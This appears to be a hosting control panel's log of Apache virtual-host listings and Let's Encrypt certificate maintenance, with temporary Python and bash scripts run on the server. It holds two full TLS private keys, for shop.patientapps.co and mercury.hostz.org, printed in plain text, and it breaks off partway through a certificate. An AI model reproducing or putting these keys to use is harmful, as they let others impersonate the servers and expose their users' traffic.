port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
alias www.ma2-mdfu.myapp.care
port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
alias www.ma2-mtfp.myapp.care
port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
alias www.ma2-rcl.myapp.care
port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
alias www.pai-lc.myapp.care
port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
alias 847670.myapp.care
alias 573398.myapp.care
port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
alias www.pai-rco.myapp.care
port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
alias www.sma1-lgb.myapp.care
port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
alias www.sma1-lrygb.myapp.care
port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
alias www.sma1-lsg.myapp.care
port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
alias www.sma1-pcnl.myapp.care
port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
alias www.test.myapp.care
port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
alias www.version2.myapp.care
wild alias *.myapp.care
port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
alias live.patientapps.net
port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
alias www.patientapps.net
port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
alias store.patientapps.com
alias store.patientapps.co
port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-10 22:44:41:
PUT: /tmp/pkp557381
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/patientapps_shop_co.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-10 22:44:41:
chmod 755 /tmp/pkp557381; /tmp/pkp557381; rm /tmp/pkp557381
2025-12-10 22:44:41:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_shop_co.conf 1360
<VirtualHost *:80>
ServerName shop.patientapps.co
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_shop
<Directory /var/www/patientapps_shop>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/shop_access.log combined
ErrorLog /var/log/apache2/patientapps/shop_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
SetEnv ENV sandbox
DirectoryIndex index.php index.html index.htm
</VirtualHost>
<VirtualHost *:443>
ServerName shop.patientapps.co
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99
DocumentRoot /var/www/patientapps_shop
<Directory /var/www/patientapps_shop>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/shop_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/shop_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
SetEnv ENV sandbox
DirectoryIndex index.php index.html index.htm
</VirtualHost>
2025-12-10 22:44:41:
PUT: /tmp/pkp215256
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-10 22:44:41:
chmod 755 /tmp/pkp215256; /tmp/pkp215256; rm /tmp/pkp215256
2025-12-10 22:44:41:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99 5360
8f:9d:59:35:04:28:25:21:a2:af:6d:52:e9:65:0b:89
-----BEGIN CERTIFICATE-----
MIIFATCCA+mgAwIBAgISBS1m2MX8AmH6WI4a4yVcZmhbMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjEwMjE0NjA5WhcNMjYwMzEwMjE0NjA4WjAeMRwwGgYDVQQD
ExNzaG9wLnBhdGllbnRhcHBzLmNvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAuC4wrn1GYHFrMUqqNZJlAVAc3XwJ9njVwDrBovCSiBCY1MdoREkuZ4lG
iyEyUJs81eT4VBb+6WffQKVGoYyqeoQ8gJXuXNaW9Vt2XngNfTyulZ39EDT0BQiV
hw2hUMfA/6U2BjXnK0wQneRs31wiG1/0F75+Il8RW3Nt9XWe+diAIlWgOs+CKj/w
578TAN56m1h+XWSy6TRZ6CrqGuL+uwYij7HhEHVLxirdkkx+hIC5EXLYnpR75m0o
xap2mVeCHMBM6ZLpofxzbg1Owv6rrSGLm4mjkU/SuFAWtmdzGC/WZAC4ogxGlqli
j0tSTXl+vOiMP+BGLwksB3h+8n2xSwIDAQABo4ICIjCCAh4wDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBRehwzD4qYkiy6uLBqOEMCg4BG7DjAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3Nob3AucGF0aWVudGFw
cHMuY28wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy85Mi5jcmwwggEDBgorBgEEAdZ5AgQCBIH0BIHx
AO8AdQBkEcRspBLsp4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZsKcCPOAAAE
AwBGMEQCIE/QlEbPq9l1gI6/3XUHdrAdgek0/fovyqK+rqHOpxR0AiAj9KDXbCuP
BDGKZjKT5IZkLnmpm4yo1ddJYuZkdfQg1AB2ANFuqaVoB35mNaA/N6XdvAOlPEES
FNSIGPXpMbMjy5UEAAABmwpwJOsAAAQDAEcwRQIgSrKEI+ly998qo4bgFg4KJpsc
5jG5XWmIcTQ9/dy9EjsCIQC58+QVDUnuW8F5cKc68lFs7r7Gl5ddNCc+ual6ElJu
YjANBgkqhkiG9w0BAQsFAAOCAQEAYgU66Wo96sWfu4+Q809xv66tflqJXmqL5Ezr
rKQZjRQnGsTUtDQJW7LBv7eLreNat+gb8txJu2w56P7w6dSSLN1okvyZP5c9mnUS
h1M4DSwhRC7svjJ5iziMAha4l3NdDaqp0EzuCzJMloB94vmzrw6ACqWC9+Typ0wo
Sc0SCFPrtAE6g4+xXhWelktptQiFAljDvTSEtTSUgMB0w1c6ZAxNKHExp5sv0HsP
j2SjhvGO/LHP2mkoA+jjCumrZDnvqCFi9NEslvuCxUqad7lVkjcldEKHRUebE4Ob
3G/v99njB8AS9yBtZ34iePd0iCY+vCMkqyxwLfJ7vNZMtrE4mg==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC4LjCufUZgcWsx
Sqo1kmUBUBzdfAn2eNXAOsGi8JKIEJjUx2hESS5niUaLITJQmzzV5PhUFv7pZ99A
pUahjKp6hDyAle5c1pb1W3ZeeA19PK6Vnf0QNPQFCJWHDaFQx8D/pTYGNecrTBCd
5GzfXCIbX/QXvn4iXxFbc231dZ752IAiVaA6z4IqP/DnvxMA3nqbWH5dZLLpNFno
Kuoa4v67BiKPseEQdUvGKt2STH6EgLkRctielHvmbSjFqnaZV4IcwEzpkumh/HNu
DU7C/qutIYubiaORT9K4UBa2Z3MYL9ZkALiiDEaWqWKPS1JNeX686Iw/4EYvCSwH
eH7yfbFLAgMBAAECggEAMt9fRvMHW2A4kXbkKMP07jXooyy9u7yInf4cuhrk/nxH
Go6xuBrWnHaIa6mRsj4Owa3rAZ8Qbfvo6Hw+VCT8ebbI12OSYUZMkBzhRxq17x+x
wVXQLofR1woV8yXKpvtlzbcegvyki4sJE/OiNtfF+/W3AE/3mxrTOoVZm/EPJkc0
l5dkFWrW5psTKUCbzddJdJQysGjLLbqU/5q9ufHTlULjlk8NZ2/FwmKcgQYSO/NC
AOwOO5HddspQWnAU1pg/zli4TGkmRst2OxKhuZ97uCELqFRYBNisTd3sx52oSAb4
kePas28pqzCoBq6GDnHV20kS26DELMTVicL1L9wE0QKBgQDjegf7yuavnNiprmRc
HoU3UZSfw4OF6SjeduhgrBSzfAUXAuVQHSITNEFvStmxlqudwJVrNQtvh8Cjva8l
+vQgHnioIBbyIyHNR4UkByelYHkr4S8NlwR5RPpJTlDikmNmu7GkN96/KttbZ68C
MaFva2DvZGHIaTXQY/AYXeppzwKBgQDPRlr/PwV4RvKqd/NSIS5AqNyD8RZFX61Q
XO1h93szpEhzXT6OMzPPAt+hwu3Rn7gAwSb6agPJd+9PiQIHS+yrILG6fkjRvKig
zBhgadr3JQVRmD49fO3and8OaPyvnIV2djYuawABEPrQGEXWeSBvTJEdOrQ0qi1+
yZ/kNQOrxQKBgHfbHYfC8eeH6fUFySVsg16RYpEHcC5HmtwUpP4CzWmAqCHmybJ7
ly+tMekU9D0JGWWmSlRRf7QFQDBGSpnlb2nZBFP5jH2Km03RKErCZlZRzaacILG1
Z4sKGCI13JJ09WD09nWDZp8tUqUHrYOnaNsPJeUc7BSvssYZUjFUkqWrAoGABtjn
Jql5T8jgOVtvEVaBRaeOaVlsh+wqOI5pVSQs0L7rmcwJxf7RBlSs+JYM7zDcjkHT
PNCFwYERycnX5E/QyLJyzJthYnReCbnUUFMO5b02WMSzwao/3Un71WkId/CuxAQR
tCTawi5Cat9yZyxnMuYPoSyQSXEZwad9fbd2oJUCgYBSfGbbIxg8dnWSJMGj02Fj
/3Mcmho24f3VJS4hnQdR/3HylhSbZ1DfXrf5h+vsu0UfOXYXLkPzZvZ5Q2pf8NJA
HvKDN+AhNGF0JaoiXwsd+q2/PtFP0/dCh3GElTbjpEXdC0W74O0AOFEjUqw1oJhm
Cgh14Z1QafoVRu5Uy99T3g==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-11 06:00:02: Establishing a connection
2025-12-11 06:00:03: Establishing a connection
2025-12-11 06:00:05:
PUT: /tmp/pkp778423
#!/bin/bash
if [ -d "/var/www/hostz_mercury/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-11 06:00:06:
chmod 755 /tmp/pkp778423; /tmp/pkp778423; rm /tmp/pkp778423
2025-12-11 06:00:06:
1
2025-12-11 06:00:07: Establishing a connection
2025-12-11 06:00:09:
PUT: /tmp/pkp967075
#!/bin/bash
mkdir -p "/var/www/hostz_mercury/.well-known/acme-challenge/"
cd "/var/www/hostz_mercury/.well-known/acme-challenge/"
cat > 3UfWN5RnZFXlwDAoLpSi1Q9djn4nnF4MA-nWDzwGAcY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
3UfWN5RnZFXlwDAoLpSi1Q9djn4nnF4MA-nWDzwGAcY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 3UfWN5RnZFXlwDAoLpSi1Q9djn4nnF4MA-nWDzwGAcY
2025-12-11 06:00:10:
chmod 755 /tmp/pkp967075; /tmp/pkp967075; rm /tmp/pkp967075
2025-12-11 06:00:10:
2025-12-11 06:00:16: Establishing a connection
2025-12-11 06:00:17:
PUT: /tmp/pkp728894
#!/bin/bash
mkdir -p "/var/www/hostz_mercury/.well-known/acme-challenge/"
cd "/var/www/hostz_mercury/.well-known/acme-challenge/"
rm 3UfWN5RnZFXlwDAoLpSi1Q9djn4nnF4MA-nWDzwGAcY
2025-12-11 06:00:18:
chmod 755 /tmp/pkp728894; /tmp/pkp728894; rm /tmp/pkp728894
2025-12-11 06:00:18:
2025-12-11 06:00:18: Establishing a connection
2025-12-11 06:00:20:
PUT: /tmp/pkp874541
#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d
cat > $temp_file <<'endmsg'
0a:0b:5d:0b:9b:e9:c3:24:1d:be:c1:74:1c:17:9b:f0
-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBmUbVmWuFCPdznIspdO5RL6lMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjExMDUwMTQ1WhcNMjYwMzExMDUwMTQ0WjAcMRowGAYDVQQD
ExFtZXJjdXJ5Lmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBANpK2OirhuSMTrU+2s1kxVM+YBB95RKSqlO6hEOZPtf7+G9hb2vw965jclOF
tBEcJUpWiUS4X5LMMw5o6A7jpBd7Pp3aF5cXimSgPRrR5W+7YdlODnx7/0raHIXC
3FpQxmTjEbMFPeFVM76C6/KbwIbTTjtvUiR8hIG2IxiT3CSshq/xx/VdFrxYkUI/
GRrzJjcgU9otVJmQBeLcZGLQ4GzEzdDS6PM6Ga+mlbHFCaU4zIBegVEyf57EMrBa
YGUjYmPNig8jOS07FkY/GYjIsdd91eTZ8W+U3B4Aom03+9ddVGkl9pDm/Oys9YTC
ZNfEZaOQ118+BdJpHnIYc52tyIsCAwEAAaOCAikwggIlMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUtr4PAJgrqetHtfF/MP8dQnAYgz0wHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFtZXJjdXJ5Lmhvc3R6Lm9y
ZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
cjEyLmMubGVuY3Iub3JnLzM4LmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB3
AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAABmwv+7sQAAAQDAEgw
RgIhALl/+9nFxDJhN3DtZ+O2nGYdTHxKCevEHV4SnHXoaCTfAiEAzXpo0KzjQBtQ
YKe+WEwv+mfFiFYPmYq0oeWlLMkWQcIAfQClyXiSXVdGF4KHDdiJZgtcVWSLfQBA
8uwHaFHRiGkZ9wAAAZsL/vDWAAgAAAUAKyw84QQDAEYwRAIgfHJoOFLtio4ZVZR7
kbzbcwDLoSaFltp9rk2+s9rvK1MCIFH17X521BPz25XZDY0N+d2UuQO/K1U3dIDc
nEUlqxsdMA0GCSqGSIb3DQEBCwUAA4IBAQBQyIeht9g3MxOUI3ttEo+En+FEbxut
WaUQE+5U3Rc5/+xoUD+IJf2BrX6BGA9UvdCHvneOWxuYHVARvjh98Nl5Ije/T81w
Tou5MWz0AhbB2u956twmAh9K0WmTxjJbDHIPNc1u3jTMICQqIUb9zdkSTwJLTRtZ
8EvSUvUlK49fbThM89kyTBkGUPI/elcawQzEkRnoBywQFzyQKjFvKUkFdhqiPK1i
WiVHSb1/7lCDUTSz1ynnHShQ5zf0njNmRD073/bNwC6ZdxNkHWhuMQk1wXHbLwGA
7EibHSCFWKOzmnNoUkI4jIRqrYiYh32Ew2iZW2eXvaqaeB9sx/nRPgUv
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDaStjoq4bkjE61
PtrNZMVTPmAQfeUSkqpTuoRDmT7X+/hvYW9r8PeuY3JThbQRHCVKVolEuF+SzDMO
aOgO46QXez6d2heXF4pkoD0a0eVvu2HZTg58e/9K2hyFwtxaUMZk4xGzBT3hVTO+
guvym8CG0047b1IkfISBtiMYk9wkrIav8cf1XRa8WJFCPxka8yY3IFPaLVSZkAXi
3GRi0OBsxM3Q0ujzOhmvppWxxQmlOMyAXoFRMn+exDKwWmBlI2JjzYoPIzktOxZG
PxmIyLHXfdXk2fFvlNweAKJtN/vXXVRpJfaQ5vzsrPWEwmTXxGWjkNdfPgXSaR5y
GHOdrciLAgMBAAECggEAPolIwMc6+sizV7stBcCDw0hQTwkyEfMQdrItaAxD865M
yuPX/s1mt3/n5cOdBXXRvQ0zgAtt3elACzXEnVdb0BpPovsy3Ocyj4dUWhWdrDe7
XXy+K61+QpxfpXZgmEMhww9GJ8otoxs8mqx5GeTC8B0jAWXv22IMt/hM76KUY7C9
5QFExBmgg/Gh3IilvTC3YaxbkDisoROLltzgIeGmftgzEq6qHNVueXagPsVblUIu
QRdeNDhJCmeBrqgZYgjtuzTb3mEp+nffExW5EJe43+PNwAYSJIK/EltPfDEFHAbY
5bd2VsuE5HxQIyKwrjYx7ruUtj5laMPil3Xgtnf6KQKBgQDuzKzhHbRzYYp1Dwdi
oowkE8ur4e+EC31D+j8DT7zNBH09bLQd27GU35SNMey+bYmrctKdg1bie6hINwNA
rAkCD4IsTdTzMpP4A0JVyFUgs2AIRl9yrdS4QjaWYnErdlQYw9QRF/KeLi2+cBRx
srBEFVAEpx0YxZS8iPbo69Uh9QKBgQDqBAg990zyaswRSiidbLz04Ru55Fuw+rc+
LILw0dLTkw6jbWjOx78fljqPk9NoWPGGeyoiqvV2Z2ZqzkpR6Yflo2lA4uADvpsL
L8q1PVoy/uIZiry7gdSZNwRP7LfFMpTpm+ggszgyE0cLIOmepi2PBQkhj2KjdYCv
XgTPZcQwfwKBgAtMmf2I50nyWpfRXzsWj+UBHskCRtALryCxTZv9gOR+iuKGKzui
cpOlxKStsRMNoc7//uE/HrRWv46zM68ytLZpP3KTODlNslyw4smmUgjbE/cwRUHq
4b7aOzUAcXRqA+6sDXPFm1BKxRVWvlDm8Jo4G/Isah8K8k+9d1lsF0ilAoGAbbQ0
NPBxBxff0J8mSR6HunipKc0O2vm924y8Wa7TmdHPw/dvcbicNW+UxmgzbDB+EWA9
0YC5j6dLkPhiSOIkjhe8KOnywG6jemwOKEa5uTxZvEWY0oI7qxPqlplPUUe0HYu0
F1hNGNSGsoXcXz5iDzD6Jdx1DlHwYMW/lYaMoXsCgYEAkZpZ0W9vFt8yuRhWUKYj
hsrA3DCR9aBTH8CiT4NNOVuTZNfYgg45tFSzn+H59h7DqSD2LfJ3VnieTksf11Cu
ySjF+6IWdGxeHFTRuHNpRUhmxO3rZVnsyTMfksW+Iq+dHE9a/4ogsdLQqsLy2o+g
y/IzpphcQD82K4BHPFFDmnc=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
